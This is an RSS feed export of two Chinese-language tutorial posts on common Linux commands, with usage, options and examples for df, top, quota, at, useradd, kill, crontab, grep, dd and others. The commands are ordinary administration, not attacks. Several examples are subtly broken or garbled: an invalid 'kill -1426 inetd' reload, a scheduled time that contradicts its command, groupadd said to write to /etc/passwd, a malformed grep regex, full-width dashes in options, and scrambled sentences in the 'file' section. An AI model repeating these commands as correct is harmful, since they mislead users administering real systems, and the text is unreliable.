<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>我想网 &#187; Server</title>
	<atom:link href="http://www.iwanna.cn/topics/develope/server/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.iwanna.cn</link>
	<description></description>
	<lastBuildDate>Mon, 26 Dec 2011 05:46:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Linux必学的60个命令(3)-系统管理</title>
		<link>http://www.iwanna.cn/archives/2010/12/02/6034/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/02/6034/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 16:24:14 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6034</guid>
		<description><![CDATA[对于Linux系统来说，无论是中央处理器、内存、磁盘驱动器、键盘、鼠标，还是用户等都是文件，Linux系统管理的命令是它正常运行的核心。熟悉了 Linux常用的文件处理命令以后，这一讲介绍对系统和用户进行管理的命令。 df 1.作用 df命令用来检查文件系统的磁盘空间占用情况，使用权限是所有用户。 2.格式 df [options] 3.主要参数 －s：对每个Names参数只给出占用的数据块总数。 －a：递归地显示指定目录中各文件及子目录中各文件占用的数据块数。若既不指定－s，也不指定－a，则只显示Names中的每一个目录及其中的各 子目录所占的磁盘块数。 －k：以1024字节为单位列出磁盘空间使用情况。 －x：跳过在不同文件系统上的目录不予统计。 －l：计算所有的文件大小，对硬链接文件则计算多次。 －i：显示inode信息而非块使用量。 －h：以容易理解的格式印出文件系统大小，例如136KB、254MB、21GB。 －P：使用POSIX输出格式。 －T：显示文件系统类型。 4.说明 df命令被广泛地用来生成文件系统的使用统计数据，它能显示系统中所有的文件系统的信息，包括总容量、可用的空闲空间、目前的安装点等。 超级权限用户使用df命令时会发现这样的情况：某个分区的容量超过了100％。这是因为Linux系统为超级用户保留了10％的空间，由其单独支 配。也就是说，对于超级用户而言，他所见到的硬盘容量将是110％。这样的安排对于系统管理而言是有好处的，当硬盘被使用的容量接近100％时系统管理员 还可以正常工作。 5.应用实例 Linux支持的文件系统非常多，包括JFS、ReiserFS、ext、ext2、ext3、ISO9660、XFS、Minx、vfat、 MSDOS等。使用df -T命令查看磁盘空间时还可以得到文件系统的信息： ＃df －T 文件系统 类型 容量 已用 可用 已用% 挂载点 /dev/hda7 reiserfs 5.2G 1.6G 3.7G 30% / /dev/hda1 vfat 2.4G 1.6G 827M 66% /windows/C /dev/hda5 vfat 3.0G 1.7G [...]]]></description>
			<content:encoded><![CDATA[<p>对于Linux系统来说，无论是中央处理器、内存、磁盘驱动器、键盘、鼠标，还是用户等都是文件，Linux系统管理的命令是它正常运行的核心。熟悉了 Linux常用的文件处理命令以后，这一讲介绍对系统和用户进行管理的命令。<br />
df</p>
<p>1.作用<br />
df命令用来检查文件系统的磁盘空间占用情况，使用权限是所有用户。</p>
<p>2.格式<br />
df [options]</p>
<p>3.主要参数<br />
－s：对每个Names参数只给出占用的数据块总数。<br />
－a：递归地显示指定目录中各文件及子目录中各文件占用的数据块数。若既不指定－s，也不指定－a，则只显示Names中的每一个目录及其中的各 子目录所占的磁盘块数。<br />
－k：以1024字节为单位列出磁盘空间使用情况。<br />
－x：跳过在不同文件系统上的目录不予统计。<br />
－l：计算所有的文件大小，对硬链接文件则计算多次。<br />
－i：显示inode信息而非块使用量。<br />
－h：以容易理解的格式印出文件系统大小，例如136KB、254MB、21GB。<br />
－P：使用POSIX输出格式。<br />
－T：显示文件系统类型。</p>
<p>4.说明<br />
df命令被广泛地用来生成文件系统的使用统计数据，它能显示系统中所有的文件系统的信息，包括总容量、可用的空闲空间、目前的安装点等。</p>
<p>超级权限用户使用df命令时会发现这样的情况：某个分区的容量超过了100％。这是因为Linux系统为超级用户保留了10％的空间，由其单独支 配。也就是说，对于超级用户而言，他所见到的硬盘容量将是110％。这样的安排对于系统管理而言是有好处的，当硬盘被使用的容量接近100％时系统管理员 还可以正常工作。<br />
<span id="more-6034"></span><br />
5.应用实例<br />
Linux支持的文件系统非常多，包括JFS、ReiserFS、ext、ext2、ext3、ISO9660、XFS、Minx、vfat、 MSDOS等。使用df -T命令查看磁盘空间时还可以得到文件系统的信息：</p>
<p>＃df －T<br />
文件系统 类型 容量 已用 可用 已用% 挂载点<br />
/dev/hda7 reiserfs 5.2G 1.6G 3.7G 30% /<br />
/dev/hda1 vfat 2.4G 1.6G 827M 66% /windows/C<br />
/dev/hda5 vfat 3.0G 1.7G 1.3G 57% /windows/D<br />
/dev/hda9 vfat 3.0G 2.4G 566M 82% /windows/E<br />
/dev/hda10 NTFS 3.2G 573M 2.6G 18% /windows/F<br />
/dev/hda11 vfat 1.6G 1.5G 23M 99% /windows/G</p>
<p>从上面除了可以看到磁盘空间的容量、使用情况外，分区的文件系统类型、挂载点等信息也一览无遗。</p>
<p>top</p>
<p>1.作用<br />
top命令用来显示执行中的程序进程，使用权限是所有用户。</p>
<p>2.格式<br />
top [－] [d delay] [q] [c] [S] [s] [i] [n]</p>
<p>3.主要参数<br />
d：指定更新的间隔，以秒计算。<br />
q：没有任何延迟的更新。如果使用者有超级用户，则top命令将会以最高的优先序执行。<br />
c：显示进程完整的路径与名称。<br />
S：累积模式，会将己完成或消失的子行程的CPU时间累积起来。<br />
s：安全模式。<br />
i：不显示任何闲置(Idle)或无用(Zombie)的行程。<br />
n：显示更新的次数，完成后将会退出top。</p>
<p>4.说明<br />
top命令是Linux系统管理的一个主要命令，通过它可以获得许多信息。这里我们结合图1来说明它给出的信息。</p>
<p>图1 top命令的显示</p>
<p>在图1中，第一行表示的项目依次为当前时间、系统启动时间、当前系统登录用户数目、平均负载。第二行显示的是所有启动的进程、目前运行的、挂起  (Sleeping)的和无用(Zombie)的进程。第三行显示的是目前CPU的使用情况，包括系统占用的比例、用户使用比例、闲置(Idle)比例。 第四行显示物理内存的使用情况，包括总的可以使用的内存、已用内存、空闲内存、缓冲区占用的内存。第五行显示交换分区使用情况，包括总的交换分区、使用 的、空闲的和用于高速缓存的大小。第六行显示的项目最多，下面列出了详细解释。<br />
PID（Process ID）：进程标示号。<br />
USER：进程所有者的用户名。<br />
PR：进程的优先级别。<br />
NI：进程的优先级别数值。<br />
VIRT：进程占用的虚拟内存值。<br />
RES：进程占用的物理内存值。<br />
SHR：进程使用的共享内存值。<br />
S：进程的状态，其中S表示休眠，R表示正在运行，Z表示僵死状态，N表示该进程优先值是负数。<br />
%CPU：该进程占用的CPU使用率。<br />
%MEM：该进程占用的物理内存和总内存的百分比。<br />
TIME＋：该进程启动后占用的总的CPU时间。<br />
<a href="http://www.iwanna.cn/tags/command/" class="st_tag internal_tag" rel="tag" title="标签 command 下的日志">Command</a>：进程启动的启动命令名称，如果这一行显示不下，进程会有一个完整的命令行。<br />
top命令使用过程中，还可以使用一些交互的命令来完成其它参数的功能。这些命令是通过快捷键启动的。<br />
&lt;空格&gt;：立刻刷新。<br />
P：根据CPU使用大小进行排序。<br />
T：根据时间、累计时间排序。<br />
q：退出top命令。<br />
m：切换显示内存信息。<br />
t：切换显示进程和CPU状态信息。<br />
c：切换显示命令名称和完整命令行。<br />
M：根据使用内存大小进行排序。<br />
W：将当前设置写入~/.toprc文件中。这是写top配置文件的推荐方法。</p>
<p>可以看到，top命令是一个功能十分强大的监控系统的工具，对于系统管理员而言尤其重要。但是，它的缺点是会消耗很多系统资源。</p>
<p>5.应用实例<br />
使用top命令可以监视指定用户，缺省情况是监视所有用户的进程。如果想查看指定用户的情况，在终端中按“U”键，然后输入用户名，系统就会切换 为指定用户的进程运行界面，见图2所示。</p>
<p>图2 使用top命令监视指定用户</p>
<p>free</p>
<p>1.作用<br />
free命令用来显示内存的使用情况，使用权限是所有用户。</p>
<p>2.格式<br />
free [－b|－k|－m] [－o] [－s delay] [－t] [－V]</p>
<p>3.主要参数<br />
－b －k －m：分别以字节（KB、MB）为单位显示内存使用情况。<br />
－s delay：显示每隔多少秒数来显示一次内存使用情况。<br />
－t：显示内存总和列。<br />
－o：不显示缓冲区调节列。</p>
<p>4.应用实例<br />
free命令是用来查看内存使用情况的主要命令。和top命令相比，它的优点是使用简单，并且只占用很少的系统资源。通过－S参数可以使用 free命令不间断地监视有多少内存在使用，这样可以把它当作一个方便实时监控器。<br />
＃free －b －s5</p>
<p>使用这个命令后终端会连续不断地报告内存使用情况（以字节为单位），每5秒更新一次。</p>
<p>quota</p>
<p>1.作用<br />
quota命令用来显示磁盘使用情况和限制情况，使用权限超级用户。</p>
<p>2.格式<br />
quota [－g][－u][－v][－p] 用户名 组名</p>
<p>3.参数<br />
－g：显示用户所在组的磁盘使用限制。<br />
－u：显示用户的磁盘使用限制。<br />
－v：显示没有分配空间的文件系统的分配情况。<br />
－p：显示简化信息。</p>
<p>4.应用实例<br />
在企业应用中磁盘配额非常重要，普通用户要学会看懂自己的磁盘使用情况。要查询自己的磁盘配额可以使用下面命令（下例中用户账号是caojh)：</p>
<p>＃quota caojh<br />
Disk quotas for user caojh(uid 502):<br />
Filesystem blocks quota limit grace files quota limit grace<br />
/dev/hda3 58 200000 400000 41 500 1000</p>
<p>以上显示ID号为502的caojh账号，文件个数设置为500～1000个，硬盘空间限制设置为200MB～400MB。一旦磁盘配额要用完 时，就需要删除一些垃圾文件或向系统管理员请求追加配额。</p>
<p>at</p>
<p>1.作用<br />
at命令用来在指定时刻执行指定的命令序列。</p>
<p>2.格式<br />
at [－V] [－q x] [－f file] [－m] time</p>
<p>3.主要参数<br />
－V：显示标准错误输出。<br />
－q：许多队列输出。<br />
－f：从文件中读取作业。<br />
－m：执行完作业后发送电子邮件到用户。<br />
time：设定作业执行的时间。time格式有严格的要求，由小时、分钟、日期和时间的偏移量组成，其中日期的格式为MM.DD.YY，MM是分 钟，DD是日期，YY是指年份。偏移量的格式为时间＋偏移量，单位是minutes、hours和days。</p>
<p>4.应用实例<br />
＃at －f data 15:30 +2 days</p>
<p>上面命令表示让系统在两天后的17：30执行文件data中指明的作业。</p>
<p>lp</p>
<p>1.作用<br />
lp是打印文件的命令，使用权限是所有用户。</p>
<p>2.格式<br />
lp [－c][－d][－m][－number][－title][-p]</p>
<p>3.主要参数<br />
－c：先拷贝文件再打印。<br />
－d：打印队列文件。<br />
－m：打印结束后发送电子邮件到用户。<br />
－number：打印份数。<br />
－title：打印标题。<br />
－p：设定打印的优先级别，最高为100。</p>
<p>4.应用实例<br />
（1）使用lp命令打印多个文件<br />
＃lp 2 3 4<br />
request id is 11 (3 file(s))</p>
<p>其中2、3、4分别是文件名；“request id is 11 (3 file(s)) ”表示这是第11个打印命令，依次打印这三个文件。</p>
<p>（2）设定打印优先级别<br />
＃lp lp -d LaserJet -p 90 /etc/aliases</p>
<p>通过添加“-p 90”，规定了打印作业的优先级为90。它将在优先级低于90的打印作业之前打印，包括没有设置优先级的作业，缺省优先级是50</p>
<p>useradd</p>
<p>1.作用<br />
useradd命令用来建立用户帐号和创建用户的起始目录，使用权限是超级用户。</p>
<p>2.格式<br />
useradd [－d home] [－s shell] [－c comment] [－m [－k template]] [－f  inactive] [－e expire ] [－p passwd] [－r] name</p>
<p>3.主要参数<br />
－c：加上备注文字，备注文字保存在passwd的备注栏中。<br />
－d：指定用户登入时的启始目录。<br />
－D：变更预设值。<br />
－e：指定账号的有效期限，缺省表示永久有效。<br />
－f：指定在密码过期后多少天即关闭该账号。<br />
－g：指定用户所属的群组。<br />
－G：指定用户所属的附加群组。<br />
－m：自动建立用户的登入目录。<br />
－M：不要自动建立用户的登入目录。<br />
－n：取消建立以用户名称为名的群组。<br />
－r：建立系统账号。<br />
－s：指定用户登入后所使用的shell。<br />
－u：指定用户ID号。</p>
<p>4.说明<br />
useradd可用来建立用户账号，它和adduser命令是相同的。账号建好之后，再用passwd设定账号的密码。使用useradd命令所 建立的账号，实际上是保存在/etc/passwd文本文件中。</p>
<p>5.应用实例<br />
建立一个新用户账户，并设置ID：<br />
＃useradd caojh －u 544</p>
<p>需要说明的是，设定ID值时尽量要大于500，以免冲突。因为Linux安装后会建立一些特殊用户，一般0到499之间的值留给bin、mail 这样的系统账号。</p>
<p>groupadd</p>
<p>1.作用<br />
groupadd命令用于将新组加入系统。</p>
<p>2.格式<br />
groupadd [－g gid] [－o]] [－r] [－f] groupname</p>
<p>3.主要参数<br />
－g gid：指定组ID号。<br />
－o：允许组ID号，不必惟一。<br />
－r：加入组ID号，低于499系统账号。<br />
－f：加入已经有的组时，发展程序退出。</p>
<p>4.应用实例<br />
建立一个新组，并设置组ID加入系统：<br />
＃groupadd －g 344 cjh</p>
<p>此时在/etc/passwd文件中产生一个组ID（GID）是344的项目。</p>
<p>kill</p>
<p>1.作用<br />
kill命令用来中止一个进程。</p>
<p>2.格式<br />
kill [ －s signal | －p ] [ －a ] pid &#8230;<br />
kill －l [ signal ]</p>
<p>3.参数<br />
－s：指定发送的信号。<br />
－p：模拟发送信号。<br />
－l：指定信号的名称列表。<br />
pid：要中止进程的ID号。<br />
Signal：表示信号。</p>
<p>4.说明<br />
进程是Linux系统中一个非常重要的概念。Linux是一个多任务的操作系统，系统上经常同时运行着多个进程。我们不关心这些进程究竟是如何分 配的，或者是内核如何管理分配时间片的，所关心的是如何去控制这些进程，让它们能够很好地为用户服务。</p>
<p><a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a>  操作系统包括三种不同类型的进程，每种进程都有自己的特点和属性。交互进程是由一个Shell启动的进程。交互进程既可以在前台运行，也可以在后台运行。 批处理进程和终端没有联系，是一个进程序列。监控进程（也称系统守护进程）时Linux系统启动时启动的进程，并在后台运行。例如，httpd是著名的  Apache服务器的监控进程。</p>
<p>kill命令的工作原理是，向Linux系统的内核发送一个系统操作信号和某个程序的进程标识号，然后系统内核就可以对进程标识号指定的进程进行 操作。比如在top命令中，我们看到系统运行许多进程，有时就需要使用kill中止某些进程来提高系统资源。在讲解安装和登陆命令时，曾提到系统多个虚拟 控制台的作用是当一个程序出错造成系统死锁时，可以切换到其它虚拟控制台工作关闭这个程序。此时使用的命令就是kill，因为kill是大多数Shell 内部命令可以直接调用的。</p>
<p>5.应用实例<br />
（1）强行中止（经常使用杀掉）一个进程标识号为324的进程：<br />
＃kill －9 324</p>
<p>（2）解除Linux系统的死锁<br />
在Linux  中有时会发生这样一种情况：一个程序崩溃，并且处于死锁的状态。此时一般不用重新启动计算机，只需要中止(或者说是关闭)这个有问题的程序即可。当  kill处于X-Window界面时，主要的程序(除了崩溃的程序之外)一般都已经正常启动了。此时打开一个终端，在那里中止有问题的程序。比如，如果  Mozilla浏览器程序出现了锁死的情况，可以使用kill命令来中止所有包含有Mozolla浏览器的程序。首先用top命令查处该程序的PID，然 后使用kill命令停止这个程序：<br />
＃kill －SIGKILL XXX<br />
其中，XXX是包含有Mozolla浏览器的程序的进程标识号。</p>
<p>（3）使用命令回收内存<br />
我们知道内存对于系统是非常重要的，回收内存可以提高系统资源。kill命令可以及时地中止一些“越轨”的程序或很长时间没有相应的程序。例如， 使用top命令发现一个无用 (Zombie) 的进程，此时可以使用下面命令：<br />
＃kill －9 XXX<br />
其中，XXX是无用的进程标识号。</p>
<p>然后使用下面命令：<br />
＃free<br />
此时会发现可用内存容量增加了。</p>
<p>（4）killall命令<br />
Linux下还提供了一个killall命令，可以直接使用进程的名字而不是进程标识号，例如：<br />
＃ killall -HUP inetd</p>
<p>crontab</p>
<p>1.作用<br />
使用crontab命令可以修改crontab配置文件，然后该配置由cron公用程序在适当的时间执行，该命令使用权限是所有用户。</p>
<p>2.格式<br />
crontab [ －u user ] 文件<br />
crontab [ －u user ] { －l | －r | －e }</p>
<p>3.主要参数<br />
－e：执行文字编辑器来设定时程表，内定的文字编辑器是vi。<br />
－r：删除目前的时程表。<br />
－l：列出目前的时程表。</p>
<p>crontab 文件的格式为“M H D m d  cmd”。其中，M代表分钟（0～59），H代表小时（0～23），D代表天（1～31），m代表月（1～12），d代表一星期内的天（0～6，0为星期 天）。cmd表示要运行的程序，它被送入sh执行，这个Shell只有USER、HOME、SHELL三个环境变量。</p>
<p>4.说明<br />
和at命令相比，crontab命令适合完成固定周期的任务。</p>
<p>5.应用实例<br />
设置一个定时、定期的系统提示：<br />
[cao @www cao]#crontab －e<br />
此时系统会打开一个vi编辑器。</p>
<p>如果输入以下内容：35 17 * * 5 wall &#8220;Tomorrow is Saturday I will go  CS&#8221;，然后存盘退出。这时在/var/spool/cron/目录下会生产一个cao的文件，内容如下：</p>
<p># DO NOT EDIT THIS FILE － edit the master and reinstall.<br />
# (/tmp/crontab.2707 installed on Thu Jan 1 22:01:51 2004)<br />
# (Cron version －－ $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie  Exp $)<br />
35 17 * * 5 wall &#8220;Tomorrow is Saturday I will play CS &#8221;</p>
<p>这样每个星期五17：35系统就会弹出一个终端，提醒星期六可以打打CS了！显示结果见图3所示。</p>
<p>图3 一个定时、定期的系统提示</p>
<p>动手练习</p>
<p>1.联合使用kill和top命令观察系统性能的变化</p>
<p>首先启动一个终端运行top命令，然后再启动一个终端使用kill命令，见图4所示。</p>
<p>图4 观察kill命令对top终端的影响</p>
<p>这时利用上面介绍的kill命令来中止一些程序：<br />
＃kill SIGKILL XXX</p>
<p>然后再看top命令终端的变化，包括内存容量、CPU使用率、系统负载等。注意，有些进程是不能中止的，不过学习Linux命令时可以试试，看看 系统有什么反应。</p>
<p>2.使用at和halt命令定时关机<br />
首先设定关机时间是17:35，输入下面代码：</p>
<p>＃at 17:35<br />
warning: commands will be executed using (in order) a) $SHELL b)  login shell c) /bin/sh<br />
at&gt;halt `-i －p<br />
at&gt; &lt;EOT&gt;<br />
job 6 at 2004－01－01 17:35</p>
<p>此时实际上就已经进入Linux系统的Shell，并且编写一个最简单程序：halt －i  －p。上面Shell中的文本结束符号表示按“Ctrl＋D”组合键关闭命令，提交任务退出Shell。“Job 6 at 2004－01－01  17:35”表示系统接受第6个at命令，在“2004－01－01 17:35”时执行命令：先把所有网络相关的装置停止，关闭系统后关闭电源。</p>
<p>3.用crontab命令实现每天定时的病毒扫描<br />
前面已经介绍了一个简单的crontab命令操作，这里看一些更重要的操作。</p>
<p>（1）建立一个文件，文件名称自己设定，假设为caoproject：<br />
＃crontab －e</p>
<p>（2）文件内容如下：<br />
05 09 * * * antivir<br />
用vi编辑后存盘退出。antivir是一个查杀Linux病毒的软件，当然需要时先安装在系统中。</p>
<p>（3）使用crontab命令添加到任务列表中：<br />
＃crontab caoproject<br />
这样系统内所有用户在每天的9点05分会自动进行病毒扫描。</p>
<p>4.用kill使修改的配置文件马上生效<br />
Windows用户一般都知道，重要配置文件修改后往往都要重新启动计算机才能使修改生效。而Linux由于采用了模块化设计，可以自己根据需要 实时设定服务。这里以网络服务inetd为例介绍一些操作技巧。</p>
<p>inetd  是一个监听守护进程，监听与提供互联网服务进程（如rlogin、telnet、ftp、rsh）进行连接的要求，并扩展所需的服务进程。默认情况 下，inetd监听的这些daemon均列于/etc  /inetd.conf文件中。编辑/etc/inetd.conf文件，可以改变inetd启动服务器守护进程的选项，然后驱使inetd以  SIGHUP（signal 1）向当前的inetd进程发送信号，使inetd重读该文件。这一过程由kill命令来实现。<br />
用vi或其它编辑器修改inetd.conf后，首先使用下面命令：<br />
＃ps -ef |grep inetd</p>
<p>上面代码表明查询inetd.conf的进程号(PID)，这里假设是1426，然后使用下面命令：<br />
＃ kill -1426 inetd<br />
这样配置文件就生效了。</p>
<p>这一讲介绍的系统管理命令都是比较重要的，特别是crontab命令和quota命令使用起来会有一定难度，需要多做一些练习。另外，使用 kill命令要注意“－9“这个参数，练习时最好不要运行一些重要的程序。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/02/6034/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/02/6034/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/02/6034/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/02/6034/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/02/6034/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/02/6034/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux必学的60个命令(2)-文件处理</title>
		<link>http://www.iwanna.cn/archives/2010/12/02/6033/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/02/6033/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 16:23:34 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6033</guid>
		<description><![CDATA[Linux必学的60个命令(2)-文件处理 Linux必学的60个命令 -文件操作 Linux 系统信息存放在文件里，文件与普通的公务文件类似。每个文件都有自己的名字、内容、存放地址及其它一些管理信息，如文件的用户、文件的大小等。文件可以是 一封信、一个通讯录，或者是程序的源语句、程序的数据，甚至可以包括可执行的程序和其它非正文内容。 Linux文件系统具有良好的结构，系统提供了很多文件处理程序。这里主要介绍常用的文件处理命令。 file 1.作用 件内容判断文件类型，使用权限是所有用户。 2.格式 file通过探测文 file [options] 文件名 3.[options]主要参数 -v：在标准输出后显示版本信息，并且退出。 -z：探测压缩过的文件类型。 -L：允许符合连接。 -f name：从文件namefile中读取要分析的文件名列表。 4.简单说明 使用file命令可以知道某个文件究竟是二进制（ELF格式）的可执行文件, 还是Shell Script文件，或者是其它的什么格式。file能识别的文件类型有目录、Shell脚本、英文文本、二进制可执行文件、C语言源文件、文本文件、 DOS的可执行文件。 5.应用实例 如果我们看到一个没有后缀的文件grap，可以使用下面命令： $ file grap grap： English text 此时系统显示这是一个英文文本文件。需要说明的是，file命令不能探测包括图形、音频、视频等多媒体文件类型。 mkdir 1.作用 mkdir命令的作用是建立名称为dirname的子目录，与MS DOS下的md命令类似，它的使用权限是所有用户。 2.格式 mkdir [options] 目录名 3.[options]主要参数 －m, －－mode=模式：设定权限&#60;模式&#62;，与chmod类似。 －p, －－parents：需要时创建上层目录；如果目录早已存在，则不当作错误。 －v, －－verbose：每次创建新目录都显示信息。 －－version：显示版本信息后离开。 4.应用实例 在进行目录创建时可以设置目录的权限，此时使用的参数是“－m”。假设要创建的目录名是“tsk”，让所有用户都有rwx(即读、写、执行的权 限)，那么可以使用以下命令： $ [...]]]></description>
			<content:encoded><![CDATA[<p>Linux必学的60个命令(2)-文件处理</p>
<p>Linux必学的60个命令 -文件操作<br />
<a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a>  系统信息存放在文件里，文件与普通的公务文件类似。每个文件都有自己的名字、内容、存放地址及其它一些管理信息，如文件的用户、文件的大小等。文件可以是 一封信、一个通讯录，或者是程序的源语句、程序的数据，甚至可以包括可执行的程序和其它非正文内容。  Linux文件系统具有良好的结构，系统提供了很多文件处理程序。这里主要介绍常用的文件处理命令。</p>
<p>file</p>
<p>1.作用 件内容判断文件类型，使用权限是所有用户。</p>
<p>2.格式</p>
<p>file通过探测文</p>
<p>file [options] 文件名</p>
<p>3.[options]主要参数</p>
<p>-v：在标准输出后显示版本信息，并且退出。</p>
<p>-z：探测压缩过的文件类型。</p>
<p>-L：允许符合连接。</p>
<p>-f name：从文件namefile中读取要分析的文件名列表。<br />
<span id="more-6033"></span><br />
4.简单说明</p>
<p>使用file命令可以知道某个文件究竟是二进制（ELF格式）的可执行文件, 还是Shell  Script文件，或者是其它的什么格式。file能识别的文件类型有目录、Shell脚本、英文文本、二进制可执行文件、C语言源文件、文本文件、 DOS的可执行文件。</p>
<p>5.应用实例</p>
<p>如果我们看到一个没有后缀的文件grap，可以使用下面命令：</p>
<p>$ file grap</p>
<p>grap： English text</p>
<p>此时系统显示这是一个英文文本文件。需要说明的是，file命令不能探测包括图形、音频、视频等多媒体文件类型。</p>
<p>mkdir</p>
<p>1.作用</p>
<p>mkdir命令的作用是建立名称为dirname的子目录，与MS DOS下的md命令类似，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>mkdir [options] 目录名</p>
<p>3.[options]主要参数</p>
<p>－m, －－mode=模式：设定权限&lt;模式&gt;，与chmod类似。</p>
<p>－p, －－parents：需要时创建上层目录；如果目录早已存在，则不当作错误。</p>
<p>－v, －－verbose：每次创建新目录都显示信息。</p>
<p>－－version：显示版本信息后离开。</p>
<p>4.应用实例</p>
<p>在进行目录创建时可以设置目录的权限，此时使用的参数是“－m”。假设要创建的目录名是“tsk”，让所有用户都有rwx(即读、写、执行的权 限)，那么可以使用以下命令：</p>
<p>$ mkdir －m 777 tsk</p>
<p>grep</p>
<p>1.作用</p>
<p>grep命令可以指定文件中搜索特定的内容，并将含有这些内容的行标准输出。grep全称是Global Regular Expression  Print，表示全局正则表达式版本，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>grep [options]</p>
<p>3.主要参数</p>
<p>[options]主要参数：</p>
<p>－c：只输出匹配行的计数。</p>
<p>－I：不区分大小写（只适用于单字符）。</p>
<p>－h：查询多文件时不显示文件名。</p>
<p>－l：查询多文件时只输出包含匹配字符的文件名。</p>
<p>－n：显示匹配行及行号。</p>
<p>－s：不显示不存在或无匹配文本的错误信息。</p>
<p>－v：显示不包含匹配文本的所有行。</p>
<p>pattern正则表达式主要参数：</p>
<p>\：忽略正则表达式中特殊字符的原有含义。</p>
<p>^：匹配正则表达式的开始行。</p>
<p>$: 匹配正则表达式的结束行。</p>
<p>\&lt;：从匹配正则表达式的行开始。</p>
<p>\&gt;：到匹配正则表达式的行结束。</p>
<p>[ ]：单个字符，如[A]即A符合要求 。</p>
<p>[ - ]：范围，如[A-Z]，即A、B、C一直到Z都符合要求 。</p>
<p>。：所有的单个字符。</p>
<p>* ：有字符，长度可以为0。</p>
<p>正则表达式是Linux/Unix系统中非常重要的概念。正则表达式（也称为“regex”或“regexp”）是一个可以描述一类字符串的模式 （Pattern）。如果一个字符串可以用某个正则表达式来描述，我们就说这个字符和该正则表达式匹配（Match）。这和DOS中用户可以使用通配符  “*”代表任意字符类似。在Linux系统上，正则表达式通常被用来查找文本的模式，以及对文本执行“搜索－替换”操作和其它功能。</p>
<p>4.应用实例</p>
<p>查询DNS服务是日常工作之一，这意味着要维护覆盖不同网络的大量IP地址。有时IP地址会超过2000个。如果要查看nnn.nnn网络地址， 但是却忘了第二部分中的其余部分，只知到有两个句点，例如nnn nn..。要抽取其中所有nnn.nnn IP地址，使用[0－9 ]\{3  \}\.[0－0\{3\}\。含义是任意数字出现3次，后跟句点，接着是任意数字出现3次，后跟句点。</p>
<p>$grep '[0－9 ]\{3 \}\.[0－0\{3\}\' ipfile</p>
<p>补充说明，grep家族还包括fgrep和egrep。fgrep是fix  grep，允许查找字符串而不是一个模式；egrep是扩展grep，支持基本及扩展的正则表达式，但不支持\q模式范围的应用及与之相对应的一些更加规 范的模式。</p>
<p>dd</p>
<p>1.作用</p>
<p>dd命令用来复制文件，并根据参数将数据转换和格式化。</p>
<p>2.格式</p>
<p>dd [options]</p>
<p>3.[opitions]主要参数</p>
<p>bs=字节：强迫 ibs=&lt;字节&gt;及obs=&lt;字节&gt;。</p>
<p>cbs=字节：每次转换指定的&lt;字节&gt;。</p>
<p>conv=关键字：根据以逗号分隔的关键字表示的方式来转换文件。</p>
<p>count=块数目：只复制指定&lt;块数目&gt;的输入数据。</p>
<p>ibs=字节：每次读取指定的&lt;字节&gt;。</p>
<p>if=文件：读取&lt;文件&gt;内容，而非标准输入的数据。</p>
<p>obs=字节：每次写入指定的&lt;字节&gt;。</p>
<p>of=文件：将数据写入&lt;文件&gt;，而不在标准输出显示。</p>
<p>seek=块数目：先略过以obs为单位的指定&lt;块数目&gt;的输出数据。</p>
<p>skip=块数目：先略过以ibs为单位的指定&lt;块数目&gt;的输入数据。</p>
<p>4.应用实例</p>
<p>dd命令常常用来制作Linux启动盘。先找一个可引导内核，令它的根设备指向正确的根分区，然后使用dd命令将其写入软盘：</p>
<p>$ rdev vmlinuz /dev/hda</p>
<p>$dd if＝vmlinuz of＝/dev/fd0</p>
<p>上面代码说明，使用rdev命令将可引导内核vmlinuz中的根设备指向/dev/hda，请把“hda”换成自己的根分区，接下来用dd命令 将该内核写入软盘。<br />
find</p>
<p>1.作用</p>
<p>find命令的作用是在目录中搜索文件，它的使用权限是所有用户。</p>
